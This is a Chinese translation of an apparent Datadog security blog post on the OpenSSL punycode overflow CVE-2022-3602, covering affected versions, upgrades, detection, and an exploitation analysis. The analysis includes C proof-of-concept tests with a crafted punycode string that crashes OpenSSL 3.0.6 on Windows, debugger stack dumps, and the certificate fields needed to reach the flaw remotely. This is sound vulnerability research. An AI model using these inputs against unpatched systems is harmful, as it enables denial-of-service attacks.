OpenSSL punycode 漏洞 (CVE-2022-3602):概述、检测、利用和修复

小安小安 in 安全 2022-11-09 11:43:39

2022 年 11 月 1 日,OpenSSL 项目发布了一份安全公告,详细说明了 OpenSSL 库中的一个高严重性漏洞。从 3.0.0 到 3.0.6(包括)的 OpenSSL 部署易受攻击,已在 3.0.7 版本中修复。该漏洞被跟踪为 CVE-2022-3602。

2022 年 11 月 1 日,OpenSSL 项目发布了一份安全公告,详细说明了 OpenSSL 库中的一个高严重性漏洞。从 3.0.0 到 3.0.6(包括)的 OpenSSL 部署易受攻击,已在 3.0.7 版本中修复。该漏洞被跟踪为 CVE-2022-3602。

在这篇博文中,我们将提供:

  • Datadog 安全实验室对该漏洞的研究的主要内容
  • 保护和检测建议
  • 我们评估漏洞的可利用性和影响,因为它们与到达易受攻击的代码路径所需的场景相关
  • 对漏洞、漏洞利用路径以及我们利用漏洞的努力进行深入的技术分析

新闻报道和社交媒体帖子等来源对该漏洞进行了大量报道,并且信息正在迅速变化。随着我们通过自己的研究和公开信息发现更多细节,我们将更新此博客。

笔记:

  • 该漏洞最初被预先宣布为“严重”,后来降级为“高”。
  • OpenSSL 预先宣布的初始漏洞是 CVE-2022-3602。11 月 1 日,OpenSSL 项目宣布 3.0.7 版本还修复了另一个漏洞 CVE-2022-3786。这篇文章只关注最初宣布的漏洞。

主要内容

  • 该问题已于 2022 年 10 月 17 日报告给 OpenSSL 项目。
  • 该漏洞影响 OpenSSL 版本 3.0.0(2021 年 9 月发布)至 3.0.6(包括在内)。
  • 该漏洞已在 2022 年 11 月 1 日发布的版本 3.0.7 中得到修复。
  • 3.0.7 中修补的易受攻击的功能需要受害者客户端或服务器来验证 X.509 证书中恶意制作的电子邮件地址。
  • 由于必须配置客户端或服务器以验证证书中的恶意电子邮件地址的先决条件,此漏洞可能不像 HeartBleed 那样容易被广泛利用
  • OpenSSL 3.x 于 2021 年 9 月发布,而 1.1.1 是支持到 2023 年 9 月的 LTS 版本。因此,OpenSSL 3.x 的使用并不广泛,这可能会进一步限制对该漏洞的利用。
  • Datadog 已发布概念证明 (PoC),以使易受攻击版本的 Windows 部署崩溃。
  • Linux 部署可能存在漏洞,但由于我们在研究期间发现的技术细节,它们可能无法被利用。仍然有可能出现针对 Linux 部署的漏洞利用。
  • OpenSSL 3.0.x 用户应升级到 3.0.7。
  • 一些应用程序运行时,例如 Node.js,嵌入了自己的 OpenSSL 版本,也需要升级。
  • OpenSSL 1.1.1 和 1.0.2 不易受到攻击。

描述

2022 年 11 月 1 日,OpenSSL 项目发布了一份安全公告,详细说明了他们认为高度严重的漏洞。该漏洞是一个内存损坏漏洞,当易受攻击的客户端或服务器验证 X.509 证书时会触发该漏洞。在客户端或服务器证书中滥用非 ASCII 代码点的特制电子邮件地址可以利用此漏洞来实现拒绝服务 (DoS) 或远程代码执行 (RCE)。

攻击者可以在易受攻击的应用程序验证不受信任的 X.509 证书(包括 TLS 证书)的任何情况下利用此漏洞。特别是,这可能涉及:

  • 恶意服务器向易受攻击的客户端发送特制 TLS 服务器证书
  • 恶意客户端向需要客户端 TLS 身份验证的易受攻击的服务器发送特制客户端 TLS

Datadog 安全实验室团队在 Windows 上复制了易受攻击的场景,并制作了一个 PoC 来使 Windows 上的 OpenSSL 崩溃。我们在 Linux 上复制了相同的环境,由于一些低级别的技术细节,我们对该漏洞不可利用有中等信心。

检测和修复

如果您正在使用从 3.0.0 到 3.0.6 的 OpenSSL,您应该升级到 3.0.7。

荷兰的计算机应急响应小组 (CERT) 编制了一份与 OpenSSL 易受攻击版本打包在一起的常见操作系统和应用程序运行时列表。

如果您的操作系统安装了易受攻击的 OpenSSL 版本(例如,Ubuntu 22.04 LTS 或 Amazon Linux 2022),则任何动态加载 OpenSSL 库的应用程序也容易受到攻击。这通常是 Web 服务器(如 Nginx 或 Apache2)和解释型语言(如 PHP、Python 或 Ruby)的情况。

如果您使用的是打包自己的 OpenSSL 版本的应用程序运行时,例如 Node.js 17.x、18.x 或 19.x,则需要升级运行时本身。升级操作系统 openssl 包是不够的。

Go 等其他语言使用自己的 TLS 实现,并且不利用 OpenSSL。因此,这些不受影响。Rust 应用程序需要根据具体情况进行处理,因为它们可以使用 rustls 实现或使用系统范围版本的 OpenSSL 绑定。

有关提供商特定的指导,请参阅特定的安全公告,例如来自 AWS 的公告。

Datadog 如何提供帮助

Datadog 安全平台可让您检测攻击者行为并识别云环境中的威胁。特别是两个功能可以帮助您发现利用 CVE-2022-3602 的威胁参与者的恶意活动。

使用 Cloud Workload Security 进行检测(RCE 场景)

在创建漏洞以执行远程代码执行的情况下,Cloud Workload Security (CWS) 有许多开箱即用的规则来检测利用后的场景,包括:

  • 从 Web 服务器生成的不熟悉的命令
  • Java 进程生成的 shell
  • 在容器中生成的交互式外壳

使用服务检查进行检测(DoS 场景)

在利用漏洞创建 DoS 条件的情况下,服务检查可以帮助识别使用易受攻击的 OpenSSL 版本的服务的异常降级或终止。

漏洞描述

该漏洞存在于 ossl_punycode_decode,一个提供 punycode 域名解码功能的函数。Punycode 在 RFC3492 中指定,用于将国际化域名从 Unicode 表示编码为 ASCII。例如,“Latin Small Letter Alpha”,ɑ,是 Unicode 0251。如果我们有一个域在域中使用“Latin Small Letter Alpha”,例如 dɑtadog.com(第一个 a 是 unicode 字符),它就变成了 International 应用程序中的域名 (IDNA) 域。

计算机将 IDNA 域转换为 punycode 域,因此 dɑtadog.com 变为 xn--dtadog-bxc.com,其中 xn–指定了一个 punycode 域。在 OpenSSL 中,ossl_punycode_decode 获取一个 punycode 域的字符串缓冲区(xn–已删除)并将其转换为 Unicode 以进行额外处理。

当客户端或服务器配置为验证 X.509 证书时调用此函数。攻击者可以通过在电子邮件地址字段的域中创建包含 punycode 的特制证书来潜在地利用该漏洞。

为了达到这个易受攻击的功能,执行必须经过以下场景:

攻击者向受害者发送恶意证书以验证它可以触发漏洞

攻击者向受害者发送恶意证书以验证它可以触发漏洞。

安全实验室团队使用公告中的详细信息创建了一个易受攻击的环境,并开始尝试触发导致 DoS 条件的路径。

开发技术细节

本节广泛引用了堆栈 cookie,这是一种旨在防止堆栈缓冲区溢出攻击的内存安全机制。可以在这里找到从进攻从业者的角度对该主题的一个很好的总结。

收到补丁详细信息和关于 OpenSSL 3.0.6 是最新易受攻击版本的建议后,我们在测试 Windows 机器上下载了源代码,并根据此处的说明从源代码编译 OpenSSL 。我们使用 Windows 进行初步评估,以利用用于低级利用的优秀工具,特别是 WinDBG Preview 和 Visual Studio。我们首先检查了作为补丁一部分添加的单元测试,以更好地了解漏洞的高级细节。下面的评论和 __debugbreak()声明是我们自己的:


static int test_puny_overrun(void)
{
    static const unsigned int out[] = {
    0x0033, 0x5E74, 0x0042, 0x7D44, 0x91D1, 0x516B, 0x5148, // Expected result
    0x751F                                                    // 4 byte overwrite
    };
    static const char* in = "3B-ww4c5e180e575a65lsy2b";
    unsigned int buf[OSSL_NELEM(out)];
    unsigned int bsize = OSSL_NELEM(buf) - 1; // NOTE: true size - 1

    __debugbreak();
    int result = ossl_punycode_decode(in, strlen(in), buf, &bsize);
    // bsize = 8 (7 expected)
    __debugbreak();
    if (!TEST_false(result)) {
        if (TEST_mem_eq(buf, bsize * sizeof(*buf), out, sizeof(out)))
            // buffers match which means we have an overwrite of the 8th integer
            TEST_error("CRITICAL: buffer overrun detected!");
        return 0;

    }
    return 1;
}

通过利用现有的测试框架,我们将所有 OpenSSL 测试编译成独立的 .exe 文件,位于test/.exe. 这使得在调试器 (WinDBG) 下运行单个测试用例变得简单。请注意,为了便于说明,我们在大多数示例中都使用了 x86 二进制文件,但我们也能够在 64 位构建上验证我们的结果。上面的测试将一个 punycode 字符串传递给ossl_punycode_decode函数并检查输出是否与预先计算的缓冲区匹配。请注意,out缓冲区包含 8 个元素,与 中比较的数量相同TEST_mem_eq,但只有 7 的缓冲区大小被传递给ossl_punycode_decode

在我们易受攻击的 OpenSSL(3.0.6)版本上运行测试,我们看到测试失败,这意味着在传入的堆栈缓冲区上发生了 4 字节的越界写入。返回的大小也设置为不正确的值 (8)。请注意,该测试经过专门设计,以确保在验证错误存在时不会发生崩溃。

接下来,我们查看漏洞的根本原因,在查看补丁的来源时会发现:ossl_punycode_decode


        // Patched to (written_out >= max_out)
        if (written_out > max_out)
            return 0;

        memmove(pDecoded + i + 1, pDecoded + i,
                (written_out - i) * sizeof *pDecoded);
        pDecoded[i] = n;
        i++;
        written_out++;
    }

    *pout_length = written_out;
    return 1;

这是循环终止条件中的一个错误,它转换为整数覆盖。在上面运行我们的测试时,在调试器下查看最后一次循环中的值,我们得到:


// Local variable snapshot
written_out = 7
i = 4
sizeof(*pDecoded) = sizeof(int) = 4

// memmove(dst, src, nbytes) 
memmove(pDecoded + 1 + 4 , pDecoded + 4, (7-4)*sizeof(int))
memmove(pDecoded + 5, pDecoded + 4, 3*sizeof(int))

我们传入的pDecoded缓冲区由 7*32 位整数组成。我们从缓冲区的开头写入 3*32 位整数,偏移 5*32 位整数——这相当于在缓冲区末尾覆盖 1*32 位整数。

现在我们了解了问题的根本原因,我们可以修改测试用例以导致实际的缓冲区溢出和(可能)崩溃。我们修改后的测试用例变为:


// Create a crash for developer provided input buffer
static int test_puny_overrun_crash(void)
{
    char* in = "3B-ww4c5e180e575a65lsy2b";
    unsigned int out[] = {
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,    // Only 7-bytes now!
    };
    
    unsigned int bsize = OSSL_NELEM(out); // The actual size of our buffer

    __debugbreak();
    int result = ossl_punycode_decode(in, strlen(in), out, &bsize);
    __debugbreak();

    return 1;
}

如果我们在第一__debugbreak()条语句中检查堆栈帧,那么在执行易受攻击的函数之前,我们有预期的布局:


0:000> dps @esp
00faedc8  00000007        // bsize
00faedcc  00000000        // start of out buffer
00faedd0  00000000
00faedd4  00000000
00faedd8  00000000
00faeddc  00000000
00faede0  00000000
00faede4  00000000        // end of out buffer
00faede8  08b675a5        // stack cookie
00faedec  0023a92a punycode_test!run_tests+0x22a [c:usersd0gopensslopenssltesttestutildriver.c @ 334]

一旦函数执行完毕,我们点击第二个__debugbreak()并再次检查堆栈帧:


0:000> dps @esp
00faedc8  00000008         // bsize (note change to INCORRECT value)
00faedcc  00000033        // start of out buffer
00faedd0  00005e74
00faedd4  00000042
00faedd8  00007d44
00faeddc  000091d1
00faede0  0000516b        
00faede4  00005148        // end of out buffer
00faede8  0000751f         // OVERWRITTEN stack cookie
00faedec  0023a92a punycode_test!run_tests+0x22a [c:usersd0gopensslopenssltesttestutildriver.c @ 334]

堆栈 cookie 已被我们上次解码循环操作的结果覆盖。如果我们让程序继续执行,则可以确认这一点:


0:000> p
WARNING: Continuing a non-continuable exception
(1008.256c): Security check failure or stack buffer overrun - code c0000409 (!!! second chance !!!)
Subcode: 0x2 FAST_FAIL_STACK_COOKIE_CHECK_FAILURE 
eax=00000001 ebx=00000000 ecx=00000002 edx=000001f3 esi=00000000 edi=0034c504
eip=003497c2 esp=00faea9c ebp=00faedc0 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
punycode_test!__report_gsfailure+0x17:
003497c2 cd29            int     29h

现在,我们通过使用整数覆盖来破坏堆栈 cookie 找到了 DoS 条件!但我们能更进一步实现 RCE 吗?这就是事情变得棘手的地方。我们的缓冲区之后只有一个 4 字节的写入,并且由于 OpenSSL 项目的安全默认编译器设置,我们需要处理堆栈 cookie。漏洞利用是可能的,但它需要应用程序代码以特定方式使用该功能,并且攻击者需要执行重要的后续漏洞利用开发工作。演示可利用条件的人为示例如下所示:


typedef int (*EmbeddedFunc)(void);

struct contrived_example {
    int decoded[7];
    EmbeddedFunc ofc;
};

static int test_puny_overrun_rce(void)
{
    static const unsigned int out[] = {
    0x0033, 0x5E74, 0x0042, 0x7D44, 0x91D1, 0x516B, 0x5148, 0x751F
    };
    static const char* in = "3B-ww4c5e180e575a65lsy2b";
    struct contrived_example ex;
    unsigned int bsize = OSSL_NELEM(ex.decoded);
    ex.ofc = (EmbeddedFunc) &puts;

    int result = ossl_punycode_decode(in, strlen(in), ex.decoded, &bsize);
    __debugbreak();
    ex.ofc("nothing to see heren");
    
    return 1;
}

如果我们在语句之前检查执行状态__debugbreak(),我们会看到以下内容:


00:000> dt ex
Local var @ 0x1bead0 Type contrived_example
   +0x000 decoded          : [7] 0n51
   +0x01c ofc              : 0x0000751f     int  +751f

在这里,我们的函数指针已被解码操作的最后一个整数覆盖。如果我们让程序继续运行,我们会在尝试执行未分配的内存时崩溃:


(4540.8834): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=00000000 edx=00000018 esi=00cac42d edi=00cac970
eip=0000751f esp=001beab0 ebp=00000001 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210216
0000751f ??              ???

然而,通过一些额外的工作——例如堆喷射——这可能是 RCE 漏洞利用链的开始。这个例子是一个概念证明,但它可以出现在现实世界的例子中吗?或者我们是否可以看到一种类似的技术允许覆盖敏感变量?对 GitHub 的搜索显示,易受攻击的函数似乎只在函数内部的 OpenSSL 本身中 ossl_a2ulabel 调用。让我们更详细地检查这段代码:


 unsigned int buf[LABEL_BUF_SIZE];      /* It's a hostname */
    memset(buf, 0xdd, sizeof(buf));        // Set memory for cleaner visualization 

    if (out == NULL)
        result = 0;

    while (1) {
        char *tmpptr = strchr(inptr, '.');
        size_t delta = (tmpptr) ? (size_t)(tmpptr - inptr) : strlen(inptr);

        if (strncmp(inptr, "xn--", 4) != 0) {
            size += delta + 1;

            if (size >= *outlen - 1)
                result = 0;

            if (result > 0) {
                memcpy(outptr, inptr, delta + 1);
                outptr += delta + 1;
            }
        } else {
            unsigned int bufsize = LABEL_BUF_SIZE;
            unsigned int i;

            if (ossl_punycode_decode(inptr + 4, delta - 4, buf, &bufsize) <= 0)
                return -1;

            for (i = 0; i < bufsize; i++) {
                unsigned char seed[6];
                size_t utfsize = codepoint2utf8(seed, buf[i]);
                if (utfsize == 0)
                    return -1;

我们看到与之前的测试非常相似的模式,但堆栈缓冲区要大得多。我们可以尝试通过传入一个解码为 513 个元素的 punycode 字符串来触发我们的漏洞,从而确保缓冲区覆盖:


#define A2ULABEL_SIZE 512
static int test_puny_overrun_large(void)
{
    unsigned int outlen = A2ULABEL_SIZE;
    // Should produce 513 sized output....
    static const char* in = "3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2ba";
    unsigned int out[A2ULABEL_SIZE];
    memset(out, 0xdd, sizeof(out));

    __debugbreak();
    int result = ossl_punycode_decode(in, strlen(in), out, &outlen);
    __debugbreak();

    return 1;
}

该测试成功导致崩溃,因此我们可以在易受攻击的函数本身上创建一个工具:


// Create an overwrite (no crash) in ossl_a2ulabel
static int test_a2ulabel_overrun_large(void)
{
    unsigned int outlen = A2ULABEL_SIZE;
    // Should produce 513 sized output....
    static const char* in = "xn--3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2ba";
    unsigned int out[A2ULABEL_SIZE];

    __debugbreak();
    int result = ossl_a2ulabel(in, out, &outlen);
    __debugbreak();

    return 1;
}

再一次,在检查 __debugbreak()语句之间的堆栈帧时,我们看到堆栈 cookie 被成功覆盖。(注意:我们引入了一个memset操作来填充缓冲区的内容,0xdd以帮助可视化行为。)我们确认了 x86 和 x64 版本构建的结果。初始堆栈帧如下所示:


0:000>  dps @rsp + (4*200)
000000b5`4c2fe4d0  dddddddd`dddddddd
000000b5`4c2fe4d8  dddddddd`dddddddd
000000b5`4c2fe4e0  dddddddd`dddddddd
000000b5`4c2fe4e8  dddddddd`dddddddd
000000b5`4c2fe4f0  dddddddd`dddddddd
000000b5`4c2fe4f8  dddddddd`dddddddd
000000b5`4c2fe500  dddddddd`dddddddd
000000b5`4c2fe508  dddddddd`dddddddd // end of buffer
000000b5`4c2fe510  00005133`4b2382d3 // cookie
000000b5`4c2fe518  00007ff7`e44fcce2 punycode_test!ossl_a2ulabel+0x22 [c:usersd0gopensslopensslcryptopunycode.c @ 249]

这是易受攻击的函数调用后的堆栈帧:


0:000>  dps @rsp + (4*200)
000000b5`4c2fe4d0  00000065`00000030
000000b5`4c2fe4d8  00000037`00000035
000000b5`4c2fe4e0  00000061`00000035
000000b5`4c2fe4e8  00000035`00000036
000000b5`4c2fe4f0  00000073`0000006c
000000b5`4c2fe4f8  00000032`00000079
000000b5`4c2fe500  000001c6`000001c6
000000b5`4c2fe508  00000033`00000062
000000b5`4c2fe510  00005133`00000042 // cookie partially OVERWRITTEN
000000b5`4c2fe518  00007ff7`e44fcce2 punycode_test!ossl_a2ulabel+0x22 [c:usersd0gopensslopensslcryptopunycode.c @ 249]

现在我们已经证明,我们可以通过受控输入来触发 DoS ossl_a2ulabel。我们如何将输入作为外部调用者传递给这个函数?

利用场景

如前所述,有一个复杂的函数调用链来访问易受攻击的 ossl_punycode_decode 函数。作为该链的一部分,OpenSSL 库尝试验证传入证书的名称约束。名称约束是证书的一部分,它指定所有后续证书必须位于的命名空间。这与我们的利用有关,因为 nc_match 函数(名称约束匹配)具有以下代码:


    /*
     * We need to compare not gen->type field but an "effective" type because
     * the otherName field may contain EAI email address treated specially
     * according to RFC 8398, section 6
     */
    int effective_type = ((gen->type == GEN_OTHERNAME) &&
                          (OBJ_obj2nid(gen->d.otherName->type_id) ==
                           NID_id_on_SmtpUTF8Mailbox)) ? GEN_EMAIL : gen->type;

在这里,我们看到名称约束的类型被检查为它的“有效”类型。然后稍后使用此类型来确定是否调用了nc_match_single函数。在该函数中,我们看到另一个检查:


    case GEN_OTHERNAME:
         /*
         * We are here only when we have SmtpUTF8 name,
         * so we match the value of othername with base->d.rfc822Name
         */
        return nc_email_eai(gen->d.otherName->value, base->d.rfc822Name);

同样,我们正在检查名称约束的类型为otherName. 从评论中,我们得到了一个有用的线索We are here only when we have an SmtpUTF8 name。如果我们这样做,我们调用nc_email_eai函数,该函数又调用熟悉的ossl_a2ulabel函数。


    if (ossl_a2ulabel(baseptr, ulabel, &size) <= 0) {
        ret = X509_V_ERR_UNSPECIFIED;
        goto end;
    }

考虑到这些要求,我们可以通过几种不同的方式来实现易受攻击的功能。最简单的情况是存在解析客户端 TLS 证书的易受攻击的服务器。攻击者可以制作具有以下属性的恶意客户端证书。

  1. 证书有一个subjectAltName指定otherName一个SmtpUTF8电子邮件地址。
  2. 该证书有一个nameConstraint包含 punycode 的电子邮件地址(如上一节所述)。

这两件事结合起来将允许攻击者向易受攻击的服务器提供 X.509 证书并访问易受攻击的ossl_punycode_decode函数。客户端证书名称约束将包括解码为 513 字节以溢出缓冲区的有效负载。

Linux 开发方法论

在我们在 Windows 平台上取得相对成功之后,我们尝试在各种 Linux 发行版上重现这些发现。尽管我们的 PoC 在 Windows 上可靠地使 OpenSSL 崩溃,但我们无法在任何可用的 Linux 二进制文件上重现这一点。为了进一步研究这个问题,我们使用 GCC 在 Ubuntu 20.04 VM 上重新编译了 OpenSSL 3.0.6 源代码,并试图重现我们之前的分析。

使用 GDB 运行我们test_a2ulabel_overrun_large之前的测试,我们在调用易受攻击的ossl_punycode_decode函数之前点击了通常的第一个断点来检查堆栈:


Breakpoint 3, ossl_a2ulabel (
    in=0x55555586f3a0 "xn--3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-w"..., out=0x7fffffffcc00 "", outlen=0x7fffffffcbf8) at crypto/punycode.c:291
291                 for (i = 0; i < bufsize; i++) {

(gdb) x/40x $rsp +(4*0x200)
0x7fffffffcb70: 0xdddddddddddddddd      0xdddddddddddddddd
0x7fffffffcb80: 0xdddddddddddddddd      0xdddddddddddddddd
0x7fffffffcb90: 0xdddddddddddddddd      0xdddddddddddddddd
0x7fffffffcba0: 0xdddddddddddddddd      0xdddddddddddddddd
0x7fffffffcbb0: 0xdddddddddddddddd      0xdddddddddddddddd
0x7fffffffcbc0: 0xdddddddddddddddd      0xdddddddddddddddd    // end of buffer
0x7fffffffcbd0: 0x0000000000000000      0x888f2581fcdea900    // stack cookie
0x7fffffffcbe0: 0x00007fffffffd410      0x00005555555b85a4

我们可以立即看到这里的堆栈布局不同。我们观察到缓冲区末尾和堆栈 cookie ( 0x7fffffffcbd0) 之间有 4 个字节的填充。执行易受攻击的函数后,我们再次检查堆栈:


(gdb) x/40x $rsp +(4*0x200)
0x7fffffffcb70: 0x0000007700000077      0x0000006300000034
0x7fffffffcb80: 0x0000006500000035      0x0000003800000031
0x7fffffffcb90: 0x0000006500000030      0x0000003700000035
0x7fffffffcba0: 0x0000006100000035      0x0000003500000036
0x7fffffffcbb0: 0x000000730000006c      0x0000003200000079
0x7fffffffcbc0: 0x000001c6000001c6      0x0000003300000062     // end of buffer
0x7fffffffcbd0: 0x0000000000000042      0x888f2581fcdea900     // INTACT stack cookie
0x7fffffffcbe0: 0x00007fffffffd410      0x00005555555b85a4

我们可以看到我们的覆盖并没有破坏堆栈 cookie,而是改变了一个本地堆栈变量(0x7fffffffcbd0)。如果变量对程序的逻辑有影响,这可能是个好消息。使用 GDB,我们可以确定哪个变量与地址匹配:


(gdb) info locals
seed = "�00�00�00�00�00"
utfsize = 0
bufsize = 513
i = 0
tmpptr = 0x0
delta = 533
outptr = 0x7fffffffcc00 ""
inptr = 0x55555586f3a0 "xn--3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-w"...
size = 0
result = 1
buf = {52...}

(gdb) p seed
$3 = "�00�00�00�00�00"
(gdb) p &seed
$4 = (unsigned char (*)[6]) 0x7fffffffcbd2

但是,我们看到被覆盖的变量 seed 来自下面的代码片段。我们的损坏发生在变量初始化之前,因此不会影响程序的流程:


  if (ossl_punycode_decode(inptr + 4, delta - 4, buf, &bufsize) <= 0)
                return -1;

            for (i = 0; i < bufsize; i++) {
                unsigned char seed[6];    // Corrupted variable. Not yet initialized
                size_t utfsize = codepoint2utf8(seed, buf[i]);
                if (utfsize == 0)
                    return -1;

我们想了解 Windows 和 Linux 之间差异的根本原因。我们检查了两个不同二进制文件的反汇编:

  1. Windows 64 位 - OpenSSL 3.0.6 - 源代码编译(默认配置)
  2. Linux 64 位 - OpenSSL 3.0.2 - Ubuntu 22.04 二进制

我们发现在第一种情况下,seed 由于编译器优化,变量没有在堆栈上创建。因此,堆栈 cookie 直接放置在我们易受攻击的缓冲区之后,并且单字节覆盖会导致崩溃。在第二种情况下, seed 在我们的缓冲区和堆栈 cookie 之间的堆栈上创建。我们的覆盖只是设置了一个未初始化的变量,没有任何效果。

利用结论

我们能够证明可以利用此漏洞在以下平台上触发拒绝服务 (DoS) 条件:

  • Windows 64 位 - OpenSSL 3.0.6 - 源代码编译(默认配置)
  • Windows 32 位 - OpenSSL 3.0.6 - 源代码编译(默认配置)

如“技术细节”部分所述,DoS 的条件取决于在编译 ossl_a2ulabel function. 我们能够以中等的信心确定以下不太可能被利用:

  • Linux 64 位 - OpenSSL 3.0.6 - 源代码编译(默认配置)
  • Linux 64 位 - OpenSSL 3.0.2 - Ubuntu 22.04 二进制

我们无法利用该漏洞来实现代码执行,其性质使这种利用变得非常复杂。

由于 OpenSSL 是作为源而不是二进制版本分发的,因此我们无法对整个生态系统中 DoS 的可利用性做出一般性确定。

关于导致 RCE 的可利用性的注意事项

在过去十年中,针对缓冲区溢出的安全保护已经有了显着的发展。ASLR、NX 堆栈、堆栈 cookie(又名金丝雀)、SafeSEH 和特定于平台的保护(CFG 等)使得利用堆栈缓冲区溢出变得非常棘手。鉴于此处可用的受限写入原语,我们相信通过此漏洞获得完整的 RCE 将很复杂。

DoS 的利用在很大程度上取决于 ossl_a2ulabel 函数内的特定堆栈布局。例如,当在 Windows 中以调试(与发布)模式编译 OpenSSL 时,我们无法触发崩溃,因为我们的覆盖损坏了一个对程序没有不利影响的未初始化缓冲区。此外,OpenSSL 作为源而不是预编译的二进制文件分发,因此可利用性条件可能会根据编译器设置(例如优化设置和禁用堆栈 cookie)而有所不同。请注意,上述因素也确实为某些分布实现 RCE 留下了可能性。

结论

此 OpenSSL 漏洞可用于导致拒绝服务 (DoS) 和潜在的远程代码执行 (RCE)。在这篇文章中,我们提供了有关该漏洞的一些背景信息以及如何利用该漏洞的技术分析。当前使用 OpenSSL 版本 3.0.0 到 3.0.6 的应用程序应升级到 3.0.7。

虽然这个 OpenSSL 漏洞对于攻击者来说可能很复杂,但威胁参与者已经变得越来越复杂,因此必须采取主动检测和保护方法。

当我们或社区发现更多与漏洞详细信息或试图扫描或利用 CVE-2022-3602 的威胁参与者活动相关的信息时,我们将更新此博客文章。

Datadog 客户可以通过 Cloud Workload Security 轻松检测利用后的活动,从而开始保护他们的环境。如果您还不是 Datadog 客户,请立即开始 14 天免费试用。

致谢

感谢 Zack Allen、Jb Aviat、Andrew Krug、Jesse Mack、Christophe Tafani-Dereeper 和 Izar Tarandach,他们为撰写这篇文章做出了贡献。

-- End --

相关推荐